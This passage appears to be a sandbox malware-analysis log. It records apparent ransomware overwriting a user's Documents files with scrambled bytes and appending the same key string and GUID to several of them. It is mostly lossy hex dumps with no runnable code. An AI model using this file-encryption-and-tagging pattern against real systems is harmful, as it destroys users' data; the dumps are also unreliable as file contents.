fd fd 5b fd fd fd fd 3a 33 
fd e2 fd fd 00 fd 55 fd 3d 
fd fd 35 fd fd fd 12 fd fd fd 
22 fd fd fd fd 19 50 1d fd 
20 fd cc 37 fd fd 17 fd 1f 
37 fd 77 fd fd 53 52 1c 0b 
0d 2e fd fd 58 6a fd 34 fd 
52 fd 0a fd fd 79 33 ec fd 
fd fd fd 0d fd d6 5d fd 46 
fd fd 09 05 78 fd 03 fd 79 
fd 22 3e fd 39 35 5a 5f 4c 
fd fd 03 fd 00 08 2b 7c fd 
fd 63 fd fd 1c 26 fd fd 7e 
fd fd 5c fd 2f fd 5e 2e fd 
fd fd 52 
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1026 256 fd fd 22 72 0b 7b 51 fd fd 
07 6d fd fd 44 fd fd 28 1c 
fd 2f fd fd fd 91 4b 0b 10 
15 69 fd 62 24 fd fd 25 38 
fd fd 0c 30 5e 71 fd 35 fd 
fd fd 64 03 36 fd 76 52 fd 
de fd fd 54 4b 42 2e fd 32 
8e fd 58 35 fd 41 64 fd 5a 
fd 7e fd 15 fd 56 14 fd 01 
fd 29 fd fd fd 19 33 fd 75 
fd fd 4d 5c 6b fd 14 fd 67 
fd fd 4d 77 03 7a fd fd 1b 
fd 6d fd 14 fd 24 fd 67 08 
62 78 fd 25 1f 33 49 5b fd 
fd 7e 46 05 fd fd 53 fd fd 
0d fd 77 fd 71 25 fd fd 16 
fd 28 29 33 fd 28 5a 0b fd 
fd ab fd b3 5b 54 5c 6b fd 
fd e4 14 09 fd 1f fd fd 1a 
67 71 7e 69 fd 12 7c 16 
fd 0b 7b fd 15 29 fd 7c fd 
13 fd 32 fd fd 1d 16 1e fd 
0f fd fd fd da ba 03 30 fd 
fd ed fd 61 fd 2b 3a 5f fd 
fd fd 3a fd 66 fd fd 72 2a 
3c fd 02 72 35 6d 4e 3c 
3c 58 23 fd fd 
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C:\Users\user\Documents\BPMLNO
BVSB.pdf

5 1021 fd 10 fd fd 10 fd fd 33 fd 
4a fd 69 fd 79 2a 30 fd fd 
fd 1e 5d 51 58 0d 25 0a 
fd fd 69 fd 7a 6a 19 09 56 
fd 61 1c fd 23 fd fd 75 fd 
fd 47 5c 24 7d fd 7a 0f 7e 
4a fd fd fd fd fd 70 6d 49 
77 fd 32 fd 74 fd 6f fd 30 
6f 02 24 3d fd 6b fd 0f fd 
fd fd 22 fd fd 12 fd fd 7c 
7a fd fd 02 fd fd 59 14 69 
fd fd fd 34 fd fd 4c 0c 0e 
fd 75 fd 23 fd 3e fd 4f 77 
fd fd fd fd fd 45 fd 42 f9 fd 
52 a6 4a 20 4a 0b 7a 29 
fd 15 22 47 fd fd fd fd 0d 
1b fd 06 40 fd 5b 0a 20 
3c fd 58 0a 6f 15 fd 5c 08 
6a fd 7e 04 0b 1a 4d 42 
fd 71 fd 42 25 01 fd 02 2f 
25 fd fd 1d 3d fd 1d 53 17 
fd 6b 3e fd fd 71 42 fd 69 
71 fd fd fd fd 2b 7b 09 fd 
45 51 7a 50 00 fd fd 0c 
61 fd 3c fd 4c 61 fd 77 fd 
69 40 fd 50 0d fd fd fd 15 
4f fd 0f fd 4d 79 fd 32 71 
fd 50 fd 54 fd fd fd 2a 29 
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1026 256 fd 7a 08 fd 0c fd 20 73 62 
fd 4a 43 2d 27 32 fd 29 fd 
fd 7b fd 03 fd fd fd 53 1e 
fd fd fd 6e fd 46 fd 3c fd fd 
29 17 fd 44 a5 68 26 33 
fd fd 3b 01 70 31 fd 6c fd 
0f 04 0b fd 00 fd fd 64 fd 
5c fd fd fd fd 5d 3c 74 1a 
28 55 fd fd 4b 5c 05 fd 4e 
73 25 fd 06 fd fd 15 33 32 
4b fd c8 00 fd 16 fd fd 40 
fd fd fd fd 7c fd 1d 61 4e 
fd 1a 63 09 fd 13 4f 05 7c 
fd 42 39 fd 61 fd 5f 4f 09 
fd fd 6c fd 1e 78 41 4c 06 
0a fd fd 19 fd fd 3b 16 fd 
fd fd 31 5e fd 13 71 fd 49 
05 fd 06 fd fd 46 fd 63 62 
7e 42 fd 74 78 43 fd fd 16 
4d 56 24 1e fd 0c fd 4e 
2d 7d fd 08 78 08 fd 56 fd 
59 fd fd fd 76 fd 4b fd fd 
fd 57 fd fd fd fd 1a fd 1e 
09 fd 68 2e 41 fd 58 fd fd 
33 fd fd 1a fd 7b ef 5a fd 
fd 7d 62 fd fd 3c 7a 39 71 
2b 73 fd 5b fd 5c fd 2f fd 
fd 62 fd 
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C:\Users\user\Documents\CURQNK
VOIX.jpg

5 1021 21 fd 03 2b c7 4f 6d 67 
14 fd fd 37 61 7f 43 fd 71 
fd 3e fd fd 18 fd fd 1f fd 
20 fd 10 57 24 fd fd fd fd 
66 32 fd 4e 60 62 fd 5d fd 
fd 74 3c fd 71 fd 5f fd 67 
7c 7a 79 53 30 fd 53 fd fd 
20 fd 55 fd fd fd 2d 75 6d 
6c fd 5b fd 43 fd 76 fd 4e 
75 05 0e 6f 09 11 28 fd 
37 fd fd fd 4a fd fd 2d 7f 
fd 6d 7e 39 03 02 1f 70 
48 fd fd 74 54 24 3e fd 3e 
20 53 68 59 fd fd 5e fd 36 
5e fd 34 16 6a 0a a7 fd 4f 
51 24 fd fd 19 69 fd fd fd 
65 3c af fd 20 40 fd 32 25 
fd fd 4f 09 0d 59 e1 7e fd 
fd fd fd 09 5a fd fd fd 9e 
11 fd 34 1a fd fd 0d fd 02 
7d 00 5d fd fd 05 49 7d 
3b 05 4d fd fd fd 32 fd fd 
72 38 fd 36 fd fd fd 53 fd 
56 fd 28 3a 3c 48 47 fd 
6e fd fd 7a fd 6f fd 64 fd 
26 0b 45 fd 04 59 ca fd 
19 73 50 74 33 46 fd fd 
14 08 11 17 2b 69 3d 39 
7c 
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fd 56 fd fd fd 52 2a 41 fd 
fd 19 fd fd fd 1d 03 fd fd 
fd 2f 6d 5c fd fd 3e fd fd 
03 10 40 f2 3d fd 23 fd 66 
fd fd 3d 51 3d fd 7a fd 7e 
5d fd 00 72 fd ba fd fd 26 
fd fd fd fd 69 61 0c fd fd 
fd fd fd fd fd 23 fd fd 7a fd 
1d fd 50 fd 6f fd 14 fd fd fd 
fd fd 09 1b 36 49 53 49 
75 fd 40 fd 16 fd fd 5f 64 
41 fd fd fd fd 39 17 fd 7f 
ad 3a fd 2a 62 72 84 3e 
62 6b fd 27 fd 3a 46 fd fd 
fd 27 2c fd 04 fd fd 14 6e 
5c fd 2c fd 63 fd fd 4a 5d 
18 fd 36 7c 74 47 70 fd 
56 56 2a fd 74 5e 15 fd 
57 23 0b fd fd fd 52 3c ec 
0a fd fd 45 fd fd 27 79 65 
fd fd 44 fd fd fd fd fd fd 05 
fd 3a 24 52 fd 0c fd 5b fd 
66 5b 31 fd fd 06 73 fd 41 
86 7b 03 fd 66 75 0f 44 fd 
fd 5b fd 0a 
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C:\Users\user\Documents\CURQNK
VOIX.mp3

5 1021 fd fd 69 37 5a 2c 3c fd fd 
45 fd 74 47 79 18 43 19 
40 6d fd 46 6b 5f 8c 36 
6a fd fd 46 fd 62 fd 70 21 
c4 fd 48 fd 78 71 5a fd de 
4d fd fd fd fd 3b 58 74 6a 
fd 51 fd fd 64 fd fd 22 fd 
11 fd 21 79 60 fd fd 42 40 
0d 7f 27 46 03 fd fd 03 fd 
5d fd 4b fd 04 fd fd fd fd 
14 fd 0b fd 12 fd fd 06 fd 
10 fd 65 fd fd 32 3e fd 50 
fd 73 fd 0b 11 fd 62 0a 3a 
73 42 fd fd fd 4f fd 08 fd 
fd 60 5a 6d 0e fd fd 50 fd 
59 30 53 11 fd 6f 1b fd fd 
08 0d fd 0f 08 fd 48 2d fd 
7b 43 fd 7b fd fd fd 66 56 
fd 70 79 49 4b 5d fd 17 fd 
7f 28 04 fd 43 66 fd 46 73 
fd 51 5d 1f fd 53 77 25 fd 
fd 0b fd fd fd fd 06 fd 60 
0d fd 54 fd fd fd fd fd a2 
11 53 27 0a fd 64 fd fd fd 
fd fd fd fd fd 14 60 fd 19 
fd fd fd 3e fd fd 0d fd fd 
24 00 67 fd 72 fd fd 1f fd 
5b 
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fd fd fd fd 7d 7a 45 fd fd 
23 6b 09 33 fd 24 29 54 
6c 75 3f fd 6e fd 3c 6b 73 
29 fd 7c 13 7e 32 fd fd 75 
70 fd 51 36 fd fd 48 3f fd 
36 fd 54 fd 20 5b 3d 0e 
24 7c fd 09 fd 21 fd 72 1c 
fd 02 bb fd 55 3e fd 3e fd 
17 17 6e fd fd fd 57 65 fd 
3e fd 16 fd 0e fd fd fd 35 
6b fd 48 fd fd 31 fd 1d fd 
fd 3d fd 17 fd 76 71 fd 1c 
fd e5 0c 4c fd 26 fd fd fd 
2c 48 74 30 fd 59 03 31 
5a fd 52 38 65 fd fd fd 01 
61 05 24 65 fd 5d fd ae fd 
2a fd 1e 04 26 fd 69 fd fd 
b2 5d 59 fd 3a 34 79 05 
fd fd 46 37 fd 73 fd fd 42 
fd fd 4d 50 6b 12 fd fd fd 
26 40 fd fd 1b 5a fd 55 fd 
08 0e fd 53 fd 32 4c fd 79 
fd 74 02 11 fd 0b 2b fd fd 
fd fd 66 3a 5f 42 63 28 31 
fd 2e e0 58 fd 
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C:\Users\user\Documents\DVWHKM
NFNN.docx

5 1021 69 fd fd 49 fd fd 59 15 fd 
fd fd 05 fd 22 5c fd 0a 6f 
30 fd 71 4d 73 2c ff fd 25 
15 fd 60 a7 fd 08 29 fd fd 
fd 33 18 fd 1b fd 09 62 2b 
62 fd 06 fd 1f 7e fd 74 fd 
3e c1 fd 7c fd fd fd fd fd 
4b fd 5e 85 fd 24 fd fd fd 
36 fd fd 4c 3b 54 fd 3c 1a 
2a fd fd 34 7c 14 57 fd fd 
14 35 fd fd 44 fd fd fd 4b 
fd 44 52 1c 20 fd 31 10 
33 fd 71 38 fd fd 77 fd fd 
fd fd fd 56 fd 63 fd 7d 35 
fd 0f fd 41 02 0d fd 52 6a 
fd fd fd fd 71 5d 1d fd 3e 
48 fd fd fd 60 15 fd fd 0b 
fd fd fd 2f 78 fd 43 fd 6b 
5f fd fd fd 5d 64 fd 52 fd 
fd 4c 5e 4e 1a fd fd fd 7a 
63 fd 02 fd fd 4e fd 3f 64 
fd 22 fd fd 0c fd fd 74 fd 
fd fd 4c fd 14 fd 14 fd fd 
fd 5d fd 12 45 34 4a 68 
09 fd fd 50 5e fd fd 68 fd 
50 fd fd 2d 05 64 03 65 
5e 41 1a fd 35 fd fd 49 
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fd 2b fd 7a fd 44 29 1d 08 
fd 06 fd fd 7e 40 fd 26 4a 
26 58 02 fd fd 40 fd fd 50 
1b 09 00 fd 3b 10 1a fd 1f 
44 fd 3b 47 57 fd 32 1d 
29 60 1a fd 69 fd fd fd 72 
58 fd 3a 5e fd 67 7e 2f fd 
fd 3f fd fd fd fd fd fd fd fd 
7b fd 26 fd 38 fd 03 33 fd 
7c 66 63 fd fd fd fd 2c fd 
63 fd fd 42 fd fd fd 4f 45 
fd 03 72 1d fd fd 66 fd 71 
fd 74 fd fd fd fd fd 07 69 
22 fd 40 fd 69 6f fd 50 2a 
fd 4d fd fd fd 61 3d 16 65 
54 fd fd fd 33 fd 47 fd 5a 
fd 6a b1 7a 74 72 fd 79 fd 
fd fd fd 71 51 fd 08 2c fd 
fd 29 47 fd 1c 5f 18 35 fd 
64 6f fd 4a fd 29 35 2d fd 
65 fd 0e fd 68 33 1a 05 
7d 7a fd 4b fd 5e fd 55 fd 
23 fd 6f fd 40 fd fd fd 78 fd 
fd fd fd fd 62 fd 70 41 fd 
fd 60 27 fd 12 4b 53 a0 
51 5c fd 10 fd 34 2c fd 13 
fd 42 
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C:\Users\user\Documents\JSDNGY
COWY.pdf

5 1021 3e 13 fd 08 fd 7a 26 31 3f 
fd fd fd 77 68 48 14 76 31 
61 09 fd fd 59 fd fd 6c fd 
fd fd fd 09 fd 7f 67 6f fd fd 
fd 47 07 fa fd 71 6c 1f 1c 
fd 79 fd fd fd fd 74 fd 58 
4d fd 5c fd fd fd fd 79 fd 
92 fd 07 01 0d 44 fd 3c fd 
1b 1c 5e 7a 25 5c 40 7e 
fd fd 25 fd fd 6d fd 4b fd 
fd fd 49 fd 40 72 0b 17 45 
fd 5e 2e fd fd 78 68 fd 18 
fd 4c 29 3e 17 06 fd fd 5c 
fd 70 2d 21 fd 37 40 49 
3b fd fd fd 4e 57 fd 0e 57 
fd 15 fd 29 fd fa fd 11 fd 
fd 33 fd 3e 46 fd 1e 57 fd 
77 76 fd 61 fd 0a fd fd fd 
fd 42 04 73 fd fb 40 44 5f 
fd 21 59 4a 1e 26 f2 7e fd 
45 28 3e 21 1d 2f 07 18 
55 20 fd 5e fd 23 5a fd fd 
08 1a 52 fd fd fd 4d 37 34 
fd 65 fd 59 2e fd fd fd 03 
fd 63 fd fd 6d fd fd 3a fd 
04 40 fd fd fd fd fd fd 42 
77 fd 22 0a 47 3f fd 2d 2c 
fd 24 11 6b 

>z&1?
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1026 256 7a fd 33 fd 5b 2a fd fd 36 
fd fd fd 0d fd fd 1f d5 fd fd 
6d 60 fd 7b 70 fd 19 05 6f 
fd 52 fd 0a 3d 06 04 6e 
4e fd 47 3a fd fd fd fd fd 
fd 0f fd 58 fd 64 20 fd fd 
fd fd 7e fd 5e fd fd 11 fd 
02 fd 73 62 33 fd fd 13 fd 
7a 1c 30 b3 fd 7c 3f 62 2e 
fd 51 fd fd 29 fd 16 fd fd 
fd fd 21 5b fd 0a 4a fd 0f 
b2 58 fd 3f fd fd 14 6f 5b 
fd 0b fd fd 6f 7d fd 5a 41 
73 fd 6c fd 3a fd 2a 7c 32 
fd 7e 2d 6d fd 1e fd fd 04 
0b fd fd 4a fd 5f 4a 0d 3b 
fd 38 fd fd fd 5b 04 fd 3d 
fd fd 35 2d 44 7f fd f7 5f 
26 6a fd 24 39 fd fd 0a 32 
06 fd fd fd 49 60 fd fd 43 
fd 31 0b fd fd 74 fd 5c fd 
1b 4f 74 fd 7e 61 fd fd fd 
fd fd fd fd 42 fd fd fd f8 56 
fd fd fd fd fd fd fd 02 fd fd 
2b fd 14 32 fd 02 1b 41 
10 fd 06 38 30 6b 6d fd fd 
0b 13 29 04 7c 26 
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C:\Users\user\Documents\JSDNGY
COWY.xlsx

5 1021 fd 12 fd 5a fd 45 fd 2d fd 
fd 63 16 fd fd e4 fd fd fd 
5e 14 fd 11 f8 1f fd fd 58 
07 6f 7f fd fd a1 fd 74 2a 
fd 32 01 3c 0b 25 fd fd 09 
fd fd fd 3f 4f 24 6e 26 33 
a4 fd fd 3f fd 46 fd 7a fd 
fd 2f 4b fd 03 38 6e 01 fd 
fd 5f 37 fd fd fd 1e fd fd 
49 02 fd 59 fd fd 5f 38 fd 
fd 30 fd 40 fd fd 53 6d 52 
fd fd 27 64 11 fd 1d fd 47 
5b fd 80 75 fd 08 7e 6d fd 
65 65 fd 3f fd 10 fd 78 fd 
73 0c 1c 67 25 41 0c fd 
31 fd 67 79 73 fd fd 30 fd 
28 79 1d fd 20 fd 79 fd 4f 
4a fd 72 fd fd fd fd fd fd 
77 fd 7d 94 15 32 54 fd 
5e fd fd 39 7c 55 29 25 
37 17 7a 72 7f 1c fd 41 fd 
fd 4c 40 28 fd 6e fd 33 66 
22 12 10 fd 30 fd e9 54 0f 
5c fd 02 7f 17 fd fd fd fd 
47 7d 57 50 fd 1d 68 fd 
12 fd 6d 4c fd 1d 6c 57 fd 
fd fd 75 fd fd 58 fd 19 6a 
5e fd fd 

ZE-c^Xot*2<%?O$n&3?
Fz/K8n_7IY_
80@SmR'dG[u~mee?
xsg%A1gys0(y y
OJrw2T^9|U)%7zrAL@(n
3f"0\G}WPhmLlWuXj^

success or wait 1 411859 WriteFile

C:\Users\user\Documents\JSDNGY
COWY.xlsx

1026 256 7a 50 63 fd 58 4e fd fd 61 
20 fd fd fd 0f fd fd 38 fd fd 
fd fd fd 24 fd fd fd 57 fd 
1a fd 76 fd 13 57 78 73 fd 
fd 13 59 fd 61 fd fd fd 29 
fd 0f 36 56 30 fd 06 24 61 
fd 34 fd 63 fd 21 fd 32 77 
7c 31 3a fd 4d fd 1a fd 12 
fd 2e 0a fd 2f fd 08 fd fd 
0c fd 53 47 71 fd 0b 7d fd 
47 fd 59 4d 6d 3b 3f fd 0a 
fd 70 71 35 5e fd 11 48 
12 fd 3b fd fd fd 5d fd 24 
7e fd 1b fd fd 5e 18 33 fd 
fd fd 03 fd 1c fd 3c 29 fd 
5c 32 fd 33 f9 fd 72 fd 41 
3f 64 03 69 32 fd 46 fd fd 
78 fd 77 11 fd 74 70 6c 
67 02 fd 52 02 fd 50 fd 2b 
fd fd fd 37 fd fd fd 56 fd 
6b 2f 24 1f 09 4c 2c fd 9a 
27 7d fd fd 7e fd fd fd fd 
5b 2e fd 40 72 67 24 42 
fd fd fd 45 fd fd 09 fd fd 
79 fd fd fd fd fd fd 60 fd 
04 02 01 4f fd 57 fd fd fd 
fd 09 fd 01 0f 30 2e 37 fd 
fd fd fd 6f fd 

zPcXNa 
8$WvWxsY)6V$a4c!2w|1
:M./SGq}GYMm;?
pq5^H;]$~^3<)\23rA?
di2FxwtplgRP+7Vk/$L,'}~
[.@rg$BEy`OW0.7o

success or wait 1 4115FA WriteFile

C:\Users\user\Documents\JSDNGY
COWY.xlsx

1282 40 4d 7a 43 4a 30 51 79 61 
6b 36 52 51 59 4b 69 77 
57 72 69 68 34 67 32 52 
47 4c 79 30 30 41 64 4e 
4a 59 37 62 7a 6e 41 38 

MzCJ0Qyak6RQYKiwWri
h4g2RGLy00A
dNJY7bznA8

success or wait 1 41164B WriteFile

C:\Users\user\Documents\JSDNGY
COWY.xlsx

1322 38 7b 33 36 41 36 39 38 42 
39 2d 44 36 37 43 2d 34 
45 30 37 2d 42 45 38 32 
2d 30 45 43 35 42 31 34 
42 34 44 46 35 7d 

{36A698B9-D67C-4E07-
BE82-0EC5B14B4DF5}

success or wait 1 41167E WriteFile
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C:\Users\user\Documents\KZWFNR
XYKI.mp3

5 1021 2e fd fd 17 60 4c fd 13 1d 
5f 62 02 fd fd fd 78 2a 59 
fd fd 09 fd fd fd 60 72 fd 
6f 18 fd 39 fd fd 14 fd 7c 
25 62 fd 70 35 fd 6a 04 6f 
fd 2e fd 00 fd fd 25 35 10 
fd fd 10 fd 55 fd fd 4e fd 
fd 07 fd fd fd 68 5a fd 6e 
fd 01 6a fd 5c 5b fd 33 15 
45 10 28 60 0c fd 70 fd 
00 fd fd 4c fd 7c fd fd fd fd 
fd 43 fd 45 fd 15 fd fd 22 
fd 02 fd fd fd fd fd fd 2d 
09 38 3e 9f 65 fd 1f 0e 58 
fd 38 fd 69 38 fd fd 5f fd 
2b fd fd 5c fd 52 5a 40 3e 
fd 73 fd fd fd 5c 56 fd 1a 
fd 32 fd 35 66 fd 5f 7b fd 
64 69 fd 4a fd fd 69 0f fd 
5b 12 65 57 57 7c 55 fd 
67 08 7a fd 5e fd d8 fd 49 
0e 33 43 12 0f 07 44 66 
c9 40 fd fd fd 21 a4 6b fd 
fd fd 7e 10 fd fd 0a 44 4e 
fd 0b fd 71 50 35 2e 18 
77 fd fd 0a fd fd 54 fd fd 
6b fd 66 fd fd 0d 70 fd 6d 
fd 3f 55 78 

.`L_bx*Y`ro9|%bp5jo.%5
UNhZnj\[3E(`pL|CE"-
8eX8i8_+\RZ@>s\V25_
{diJi[eWW|Ugz^I3Cf@!k~
DNqP5.wTkfpm?Ux

success or wait 1 411859 WriteFile

C:\Users\user\Documents\KZWFNR
XYKI.mp3

1026 256 67 fd 4f 70 fd 7d fd a6 41 
fd 78 6d fd fd fd 0a 1e c3 
34 fd e6 fd 61 fd 6c 2f fd 
53 fd 44 22 fd 08 fd fd fd 
5c fd 02 6e fd 09 fd 77 fd 
fd 16 fd 2c 0c fd fd 09 0f 
3e 72 de fd 72 fd 24 fd fd 
38 fd 7f f9 e4 6c 54 73 fd 
4d 3c fd 21 22 3d 16 0a 
fd fd fd 7d 4b fd 2f 07 63 
44 77 61 fd 1e 40 a8 fd fd 
b6 fd 5d fd 0b 4d 0c 61 
0d 0c 53 fd fd 0d fd 30 fd 
2f 47 fd 52 14 fd 18 01 47 
a9 22 fd 3c fd 2b fd fd 3d 
74 2a fd 0b 30 31 43 51 
5b fd fd 74 7a 48 fd 1a 45 
47 34 50 31 fd fd fd 5e fd 
fd fd fd 7b fd 23 26 fd 57 
fd fd 0a 2e 30 14 fd fd 35 
28 59 fd 36 fd 78 7a fd 60 
42 4f 6e fd fd 77 fd 75 fd 
13 fd 4c fd fd fd fd fd fd fd 
41 2d fd fd fd 16 fd fd 0b 
fd 1e 77 bf fd fd 4f fd 7b 
70 fd 69 fd 48 53 10 fd 51 
01 70 fd 33 1a fd 7e 

gOp}Axm4al/S"\nw,>rr$lT
sM<!"=}
K/cDwa@]MaS0/GRG"
<+=*01CQ[tzHE
G4P1^{#&W.05(Y6xz`BO
nwuLA-wO{piHSQp3~

success or wait 1 4115FA WriteFile

C:\Users\user\Documents\KZWFNR
XYKI.mp3

1282 40 4d 7a 43 4a 30 51 79 61 
6b 36 52 51 59 4b 69 77 
57 72 69 68 34 67 32 52 
47 4c 79 30 30 41 64 4e 
4a 59 37 62 7a 6e 41 38 

MzCJ0Qyak6RQYKiwWri
h4g2RGLy00A
dNJY7bznA8

success or wait 1 41164B WriteFile

C:\Users\user\Documents\KZWFNR
XYKI.mp3

1322 38 7b 33 36 41 36 39 38 42 
39 2d 44 36 37 43 2d 34 
45 30 37 2d 42 45 38 32 
2d 30 45 43 35 42 31 34 
42 34 44 46 35 7d 

{36A698B9-D67C-4E07-
BE82-0EC5B14B4DF5}

success or wait 1 41167E WriteFile
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C:\Users\user\Documents\LTKMYB
SEYZ.xlsx

5 1021 36 fd 30 13 fd fd fd 51 fd 
4b fd 56 fd fd fd fd 08 fd 
75 59 76 43 7d fd f7 fd 75 
fd 7a 77 fd 4f 30 21 fd 12 
37 fd 6d 6b 25 fd 46 fd 15 
42 69 34 fd 0d fd 4b 36 2f 
fd 3b fd 10 fd fd 13 fd fd 
d4 fd 3b 10 fd 61 51 c7 fd 
8f fd fd 43 14 fd 71 09 3e 
54 11 8c 11 27 fd 26 75 
fd 1c fd fd 10 3c fd fd 72 
74 52 13 2f fd fd 36 fd fd 
fd fd fd 55 fd 73 fd 3e 68 
fd 57 72 fd b0 41 fd fd fd 
fd fd 98 5f 3f fd 79 fd 03 
70 69 fd 2e 1c fd fd 48 fd 
2f 2a 4f 04 26 00 fd fd 5f 
22 66 28 4d 48 fd 19 fd 
06 fd 4e fd fd fd 79 65 fd 
2d 6d fd fd fd 74 fd fd fd 
56 fd fd fd 6b 58 fd 1f fd 
fd fd fd fd cc 60 fd fd e0 
fd 21 1f fd 7e 66 fd fd fd 
6b fd 57 fd 49 fd 0f fd fd 
3a 23 fd fd 65 58 fd 69 77 
fd 12 fd c1 10 fd fd 60 

6QKVuYvC}uzwO07mk%
FBi4K6/;;aQC
q>T'&u<rtR/6Us>hWrA_?
ypi.H/*O_"f(HNye-
mtVk!~fkWI:#Xiw`

success or wait 1 411859 WriteFile

C:\Users\user\Documents\LTKMYB
SEYZ.xlsx

1026 256 17 fd 49 26 75 fd 72 6d 
31 fd 23 3a 6c fd 79 14 
76 03 1a 57 fd 1d 4b fd fd 
03 34 fd 7d fd 00 fd fd 41 
fd 2f 3a 1d fd 07 fd 1f fd 
43 fd 1b fd 5d fd 18 4d fd 
fd 63 28 20 7a fd fd 7a fd 
48 fd fd fd 40 fd fd fd 16 
7b fd 39 fd 75 fd fd 37 4e 
fd 41 fd 3b 3a fd 43 fd 64 
fd 6d fd 4e 2d fd 29 54 fd 
48 31 57 57 29 fd 50 75 
69 fd fd fd 37 4a fd fd fd 
11 52 18 3c fd 35 fd 75 fd 
48 35 fd fd 51 fd fd fd 48 
30 fd 8c 80 4c fd fd fd 29 
fd fd fd 3f 3e fd 04 fd 7f 
22 fd 03 fd fd 25 1d fd 72 
41 fd 48 36 fd fd 3c 44 fd 
3a 5b 09 5d fd 76 fd fd 7f 
fd 0c 2b 11 fd 36 49 5d fd 
fd 17 34 fd fd 11 50 fd 4c 
fd fd fd fd fd fd fd fd 17 27 
35 fd fd fd fd 10 24 fd 0f fd 
3e fd 40 fd fd fd 78 fd 1c 
76 fd 6b fd 5c 0e 3b 34 
7d 27 77 32 11 fd 2d 48 
7a 39 fd 5f 45 46 6d fd fd 

I&urm1#:lyvWK4}A/:C]Mc
( zzH@{9u7NA;:CdmN-
)TH1WW)PuiJR<55QH0L
)?>"%rAH6<D:
[]v+6I]4PL'5$>@xvk
\;4}'w2-Hz9_EFm

success or wait 1 4115FA WriteFile

C:\Users\user\Documents\LTKMYB
SEYZ.xlsx

1282 40 4d 7a 43 4a 30 51 79 61 
6b 36 52 51 59 4b 69 77 
57 72 69 68 34 67 32 52 
47 4c 79 30 30 41 64 4e 
4a 59 37 62 7a 6e 41 38 

MzCJ0Qyak6RQYKiwWri
h4g2RGLy00A
dNJY7bznA8

success or wait 1 41164B WriteFile

C:\Users\user\Documents\LTKMYB
SEYZ.xlsx

1322 38 7b 33 36 41 36 39 38 42 
39 2d 44 36 37 43 2d 34 
45 30 37 2d 42 45 38 32 
2d 30 45 43 35 42 31 34 
42 34 44 46 35 7d 

{36A698B9-D67C-4E07-
BE82-0EC5B14B4DF5}

success or wait 1 41167E WriteFile
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C:\Users\user\Documents\MXPXCV
PDVN.mp3

5 1021 31 fd a8 72 fd 17 37 fd 3b 
fd 5b 12 fd 36 14 26 23 fd 
2e fd 48 fd 70 24 26 4b fd 
5a fd 6a 43 73 41 fd fd 0a 
fd 43 37 fd 0d 49 1f fd 26 
fd fd fd 3c fd fd 1c fd 4e fd 
fd fd fd fd fd 2e fd 03 fd fd 
40 fd 01 fd 52 18 4a fd fd 
fd 1e 24 fd 5a fd fd 19 fd 
6d fd fd 35 0c 68 26 fd 2c 
00 3e 36 fd 23 fd fd 72 60 
56 fd 39 70 fd 3c 15 22 
3a 75 fd fd fd fd fd fd fd 4c 
30 fd 49 67 5d fd 7b 51 
03 4d 4d fd fd 6b 05 2f 47 
0d fd 1f 09 15 61 3c 68 fd 
1b 10 15 2d 1b fd 80 16 
6e fd 60 fd 50 fd 14 56 72 
52 9e 61 5c fd fd 33 79 fd 
fd 7d a1 3e 5c 32 3a fd 
42 4e 6c fd 55 4f 53 fd 5b 
fd fd 56 fd fd 3a 5a 13 25 
fd 6f fd 23 54 76 38 fd fd 
1f fd fd 59 0a 0c fd 75 c2 
30 fd 61 7d fd fd fd fd 22 
22 54 28 70 0e 4d 4f fd 
7b fd 74 6e fd 16 fd 13 fd 
05 fd 54 fd fd 

1r7;
[6&#.Hp$&KZjCsAC7I&
<N.@RJ$
Zm5h&,>6#r`V9p<":L0Ig]
{QMMk/Ga<h-
n`PVrRa\3y}>\2:BNlUOS[
V:Z%o
#Tv8Yu0a}""T(pMO{tnT

success or wait 1 411859 WriteFile

C:\Users\user\Documents\MXPXCV
PDVN.mp3

1026 256 6d 4a fd 65 fd fd fd fd fd 
7a 03 fd fd fd fd fd 6f fd 06 
fd 7d 55 fd 5a fd fd 31 a9 
4e 34 fd 2b fd fd fd 37 1a 
fd 0f fd 05 fd 6e fd 8f 45 
fd 06 fd fd 63 49 1e 10 fd 
fd 1d fd fd 76 fd fd 37 fd 
fd 7e 2e 24 fd 0c 1d 14 
04 fd fd 41 fd 2e 60 2a fd 
3e fd fd 0a 2b 45 0d 04 
3a fd fd 54 1a fd 11 65 fd 
61 fd 16 16 fd 2e fd fd 69 
fd fd 47 fd 1c fd fd 3b fd 
5c fd 13 fd fd fd 2a 51 fd 
fd 64 64 58 fd fd 30 fd fd 
fd fd 45 38 2e fd 28 7a 26 
1a fd 5d fd fd 4e fd 1d fd 
44 fd fd fd 2e 5d fd fd fd 
fd 71 fd fd fd 5a 58 71 59 
51 7f 42 fd 5c fd fd fd 66 
4b fd fd fd 60 75 fd fd 54 
2c fd 29 65 fd fb fd 24 fd 
fd 36 39 fd 68 fd 0e 0c 4c 
48 4b fd fd 7d fd 41 1f fd 
4d fd fd 18 1b fd fd fd fd 
fd 7b fd fd 43 75 fd 46 fd 
fd 15 fd 76 fd 55 22 fd 56 

mJeo}UZ1N4+7nEcIv7~.
$A.`*>+E:T
ea.iG;\*QddX0E8.
(z&]ND.]qZXqYQ
B\fK`uT,)e$69hLKAM{Cu
FvU"V

success or wait 1 4115FA WriteFile

C:\Users\user\Documents\MXPXCV
PDVN.mp3

1282 40 4d 7a 43 4a 30 51 79 61 
6b 36 52 51 59 4b 69 77 
57 72 69 68 34 67 32 52 
47 4c 79 30 30 41 64 4e 
4a 59 37 62 7a 6e 41 38 

MzCJ0Qyak6RQYKiwWri
h4g2RGLy00A
dNJY7bznA8

success or wait 1 41164B WriteFile

C:\Users\user\Documents\MXPXCV
PDVN.mp3

1322 38 7b 33 36 41 36 39 38 42 
39 2d 44 36 37 43 2d 34 
45 30 37 2d 42 45 38 32 
2d 30 45 43 35 42 31 34 
42 34 44 46 35 7d 

{36A698B9-D67C-4E07-
BE82-0EC5B14B4DF5}

success or wait 1 41167E WriteFile
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C:\Users\user\Documents\NIKHQA
IQAU.jpg

5 1021 49 75 04 79 fd fd 34 fd 70 
fd 77 08 78 fd 61 6f 70 51 
1a 3d fd 7c 86 78 15 fd 
53 68 fd 51 fd fd 53 fd fd 
2e fd 58 fd 1c 58 37 59 
55 75 fd 25 78 3b 02 28 
fd 65 fd fd fd 1a fd 10 71 
09 78 fd fd 70 61 7a 08 
78 50 fd 2f 44 fd 37 fd 06 
47 6d fd fd fd 4c 75 24 fd 
07 fd fd 7e 08 fd fd 77 3b 
1b fd 60 51 6d fd fd 49 13 
02 fd fd fd 7e 10 26 74 16 
3a fd fd 69 fd fd 45 42 fd 
